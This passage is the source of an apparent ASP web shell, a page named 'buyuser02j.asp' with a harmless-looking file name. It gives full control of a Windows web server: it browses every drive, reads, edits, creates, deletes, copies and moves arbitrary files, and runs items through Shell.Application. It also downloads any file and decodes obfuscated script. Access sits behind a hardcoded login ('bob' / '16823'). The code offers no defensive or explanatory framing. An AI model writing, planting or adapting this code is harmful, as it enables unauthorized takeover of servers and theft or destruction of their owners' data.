buyuser02j.asp

网上流行的MOVE站点

path=left(z1,i-1)
exit for
end if
next
if len(path)=2 then path=path&"\"
path2=right(z1,len(z1)-i)
sa.namespace(z2).copyhere sa.namespace(path).parsename(path2)
response.write"ok!"
end if
z3=Request.Form("text3")
z4=Request.Form("text4")
if z3<>""and z4<>""then
for i=len(z3) to 1 step -1
if mid(z3,i,1)="\"then
path=left(z3,i-1)
exit for
end if
next
if len(path)=2 then path=path&"\"
path2=right(z3,len(z3)-i)
sa.namespace(z4).movehere sa.namespace(path).parsename(path2)
response.write"ok!"
end if
z5=Request.Form("text5")
z6=Request.Form("text6")
if z5<>""and z6<>""then
sa.namespace(z5).items.item(z6).invokeverb
response.write"ok!"
end if
set sa=Nothing
end sub
sub mz()
dim cpath,lpath
lpath=Request("path")&"/"
if Request("ib")="true"then
cpath=lpath
ib="true"
else
cpath=Server.MapPath(lpath)
ib=""
end if%><script language=JavaScript>function crfile(ls){if (ls==""){alert("文件名?");}else{window.open("<%=Co%>?id=edit&ib=<%=request("ib")%>&creat=Y&path=<%=Server.UrlEncode(lpath)%>"+ls);}return false;}function crdir(ls){if (ls==""){alert("目录名?");}else{window.open("<%=Co%>?id=dir&ib=<%=request("ib")%>&op=creat&path=<%=Server.UrlEncode(lpath)%>"+ls);}return false;}</script><script LANGUAGE=VBSCRIPT>ib="<%=request("ib")%>"
sub rmdir(ls)
if confirm("删除"&ls&"目录?") then
window.open"<%=Co%>?id=dir&path="&ls&"&op=del&ib="+ib
end if
end sub
sub copyfile(sfile)
dfile=trim(InputBox(""&Chr(13)&Chr(10)&"源文件："&sfile&Chr(13)&Chr(10)&"目的文件:"&Chr(13)&Chr(10)&"许带路径 例c:/或c:\均可"))
if dfile<>""then
window.open"<%=Co%>?id=edit&path="+sfile+"&op=copy&ib=true&dpath="+dfile
else
alert"文件名?"
end If
end sub</script><center><TABLE border=1 cellSpacing=1 cellPadding=3 width=768 bgColor=#dddddd><tr><td colspan=4><a href=<%=Co%>?id=out title=退出>本文件: <%=server.mappath(Co)%></a></td></tr><TD colspan=4 bgcolor=white>切换盘符：<%For Each thing in fB.Drives
Response.write"<a href='"&Co&"?path="&thing.DriveLetter&":&ib=true'>"&thing.DriveLetter&"盘:</a> "
NEXT%>局域网址：<%=dN%></TD><tr><TD align=center colspan=4><font color=red><%=Request.ServerVariables("REMOTE_ADDR")%>:<%=Request.ServerVariables("REMOTE_PORT")%> [<%=Request.ServerVariables("HTTP_X_FORWARDED_FOR")%>]</font><a href=<%=Co%>?id=pan> 磁盘信息</a> <%=now%>　<a href=<%=Co%>?id=FS><%=zc%></a></TD></tr><TD colspan=4 bgcolor=white><a href="<%=Co%><%if Request("ib")="true" then%>"title=换到相对路径<%else%>?ib=true"title=换到绝对路径<%end if%>>路径: <%=cpath%></a> 当前目录:<%=lpath%></TD><TR><TD colspan=4><form action=<%=Co%> method=post>
浏览〖绝对路径〗目录: <input type=text name=path size=80 value=c:><input type=hidden name=ib value=true> <input type=submit value=浏览></TD></form></TR><TR bgColor=white><TD colspan=4><form> 建特殊符号目录或文件 #用<%=Server.UrlEncode("#")%> %用<%=Server.UrlEncode("%")%> &用<%=Server.UrlEncode("&")%> +用<%=Server.UrlEncode("+")%> =用<%=Server.UrlEncode("=")%> <input type=text name=fn size=40> <input type=submit value=建文件 onclick=crfile(fn.value)> <input type=button value=建目录 onclick=crdir(fn.value)></TD></form></TR><TR><TD width=210 valign=top rowspan=2><%dim theFolder,theSubFolders,theFiles
if fB.FolderExists(cpath)then
Set theFolder=fB.GetFolder(cpath)
Set theSubFolders=theFolder.SubFolders
Response.write"<a href='"&Co&"?path="&Server.UrlEncode(Request("oldpath"))&"&ib="&ib&"'><b>■↑上级目录</b></a><br>"
For Each x In theSubFolders
Response.write"<a href='"&Co&"?path="&Server.UrlEncode(lpath&x.Name)&"&oldpath="&Server.UrlEncode(Request("path"))&"&ib="&ib&"'>└□ "&x.Name&"</a> <a href=# onclick=rmdir('"&Server.UrlEncode(lpath&x.Name)&"')>×删除</a><br>"
Next%></TD><TD width=232>文件（鼠标移到文件名显示文件属性）</TD><TD width=74 >大小（字节）</TD><TD width=94>操作</TD></TR><TR><TD colspan=3 valign=top bgColor=WHITE><table width=528 cellspacing=0 cellpadding=2><%Set theFiles=theFolder.Files
For Each x In theFiles
if Request("ib")="true" then
showstring="<a href='"&Co&"?id=down&path="&Server.UrlEncode(lpath&x.Name)&"&ib="&ib&"'title='"&"类型"&x.type&chr(10)&"属性"&x.Attributes&chr(10)&"时间："&x.DateLastModified&"'target=_blank><b>"&x.Name&"</b></a>"
else
showstring="<a href='"&Server.UrlEncode(lpath&x.Name)&"'title='"&"类型"&x.type&chr(10)&"属性"&x.Attributes&chr(10)&"时间："&x.DateLastModified&"'target=_blank><b>"&x.Name&"</b></a>"
end if
Response.write"<tr><td width=360 style='border-bottom:1 solid blue'>"&showstring&"</td><td width=72 style='border-bottom:1 solid blue'>"&x.size&"</a></td><td width=92 style='border-bottom:1 solid blue'><a href="&Co&"?id=edit&path="&Server.UrlEncode(lpath&x.Name)&"&ib="&ib&" target=_blank>编辑</a>&nbsp<a href="&Co&"?id=edit&path="&Server.UrlEncode(lpath&x.Name)&"&op=del&ib="&ib&">删除</a>"
if Request("ib")="true"then Response.write"&nbsp<a href=# onclick=copyfile('"&Server.UrlEncode(lpath&x.Name)&"')>复制</a>"
Response.write"</td></tr>"
Next
end if%></table></TD></TR></TABLE><%end sub
sub pan()
For Each pa in fB.Drives
On Error Resume Next
pa1=pa.AvailableSpace
if pa1/1024/1024<1024 then
pa1=round(pa1/1024/1024*100)/100&" MB"
else
pa1=round(pa1/1024/1024/1024*100)/100&" GB"
end if
pa2=round(pa.TotalSize/1024/1024/1024*100)/100
pa3=pa.DriveType
select case pa3
case 0
pa3="未知"
case 1
pa3="软盘"
case 2
pa3="硬盘"
case 3
pa3="网络"
case 4
pa3="光驱"
case 5
pa3="RAM盘"
end select
Response.write"<a href='"&Co&"?path="&pa.DriveLetter&":&ib=true'>"
Response.write" "&pa3&" "&pa.DriveLetter&" &nbsp文件系统:"&pa.FileSystem&" &nbsp&nbsp容量&nbsp "&pa2&" GB &nbsp&nbsp&nbsp可用空间&nbsp;"&pa1&" "&pa.IsReady&" "&pa.Path&" "&pa.RootFolder&" "&pa.SerialNumber&"</a><HR>"
next
end sub
sub edit()
if Request("ib")="true"then
pF=Request("path")
else
pF=server.mappath(Request("path"))
end if
if request("op")="del"then
Set ZF=fB.GetFile(pF)
ZF.Delete True
Response.write"<SCRIPT>alert('删除了 "+REPLACE(pF,"\","/")+"');location.href='javascript:history.go(-1)'</SCRIPT>"
else
if request("op")="copy"then
dsfile=Request("dpath")
Set ZF=fB.GetFile(pF)
ZF.copy dsfile
Response.write"<SCRIPT>alert('复制："+pF+" 到："+REPLACE(dsfile,"\","/")+"');location.href='JavaScript:self.close()'</SCRIPT>"
else
if request.form("text")=""then
if Request("creat")<>"Y"then
Set ZF=fB.OpenTextFile(pF,1,False)
Za=Server.HTMLEncode(ZF.readall)
ZF.Close
end if%><SCRIPT language=JavaScript>var i=0;var ie=(document.all)?1:0;var ns=(document.layers)?1:0;function selectCode(){if(document.pad.text.value.length>0){document.pad.text.focus();document.pad.text.select();}else alert('内容?')}function preview(){if(document.pad.text.value.length>0){pr=window.open("","Preview","scrollbars=1,menubar=1,status=1,width=700,height=320,left=50,top=110");pr.document.write(document.pad.text.value);}else alert('预览内容?')}function uncompile(){if (document.pad.text.value.length>0){source=unescape(document.pad.text.value);document.pad.text.value=""+source+"";i++;alert("解密"+i+"次!");}else alert('内容?')}</SCRIPT><form method=POST name=pad action="<%=Co%>?id=edit"><input type=hidden name=ib value="<%=Request("ib")%>"><CENTER><TD>编辑文件名：<input type=text name=path value="<%=Request("path")%>"></TD><BR><TD><textarea rows=30 cols=100% name=text><%=Za%></textarea></TD><BR><TD><input type=submit value=提交> <INPUT onclick=selectCode() type=button value=全选>
<INPUT onclick=preview() type=button value=预览> <INPUT onclick=uncompile() type=button value=JAVA解密> <INPUT type=reset value=重置></TD></form><%else
Set outfile=fB.CreateTextFile(pF)
outfile.Write Request("text")
outfile.close
Response.write"<SCRIPT>alert('完成："+Request("path")+"');location.href='JavaScript:self.close()'</SCRIPT>"
end if end if end if
end sub
end if
sub dir()
if Request("ib")="true"then
zp=Request("path")
else
zp=server.mappath(Request("path"))
end if
if request("op")="del"then
fB.DeleteFolder zp,True
Response.write"<SCRIPT>alert('删除:"&REPLACE(zp,"\","/")&"');location.href='JavaScript:self.close()'</SCRIPT>"
else
if request("op")="creat"then
fB.CreateFolder zp
Response.write"<SCRIPT>alert('建目录:"&REPLACE(zp,"\","/")&"');location.href='JavaScript:self.close()'</SCRIPT>"
end if end if
end sub
function dlf(strFile)
strFilename=Request("path")
Response.Buffer=True
Response.Clear
Set s=Server.CreateObject("ADODB.Stream")
s.Open
s.Type=1
on error resume next
Set f=fB.GetFile(strFilename)
intFilelength=f.size
s.LoadFromFile(strFilename)
Response.AddHeader"Content-Disposition","attachment;filename="&f.name
Response.AddHeader"Content-Length",intFilelength
Response.CharSet="UTF-8"
Response.ContentType="application/octet-stream"
Response.BinaryWrite s.Read
s.Close
Set s=Nothing
End Function
function out()
Session.Abandon
response.redirect""&Co&""
End Function
else
randomize timer
regjm=int(rnd*8998)+1000%><center><%=zc%><script language=javascript>function check(){var mjj=document.adm;if(mjj.admid.value.length<=0){alert("名字？");mjj.admid.focus();return false;}if(mjj.admpw.value.length<=0){alert("密码？");mjj.admpw.focus();return false;}if(mjj.rz.value.length<=0){alert("认证码？");mjj.rz.focus();return false;}var n2=mjj.rz1.value;if(mjj.rz.value!=n2){window.alert('认证码: '+n2+'');mjj.rz.focus();return false;}}</script><%if request.form("admid")<>""and request.form("admid")<>"bob"then response.write"名字?"
if request.form("admpw")<>""and request.form("admpw")<>"16823"then response.write"密码?"
if request.form("admid")="bob"and request.form("admpw")="16823"then
session("lZ")="lk"
response.redirect""&Co&""
else
Session(Co)=Session(Co)+1
if Session(Co)=4 then response.redirect"http://"&Request.ServerVariables("SERVER_NAME")&""
if Session(Co)>4 then response.write"<script>self.window();</script>"%><form method=post name=adm onsubmit="return check()">名字: <input type=password name=admid><br>密码: <input type=password name=admpw><input type=hidden name=rz1 value=<%=regjm%>><BR>认证: <input type=password name=rz size=14> <%=regjm%><br>会话ID:<%=Session.SessionID%> <input type=submit value=登录> <%=Session(Co)%> 次</form><%end if end if%>
</body>
</html>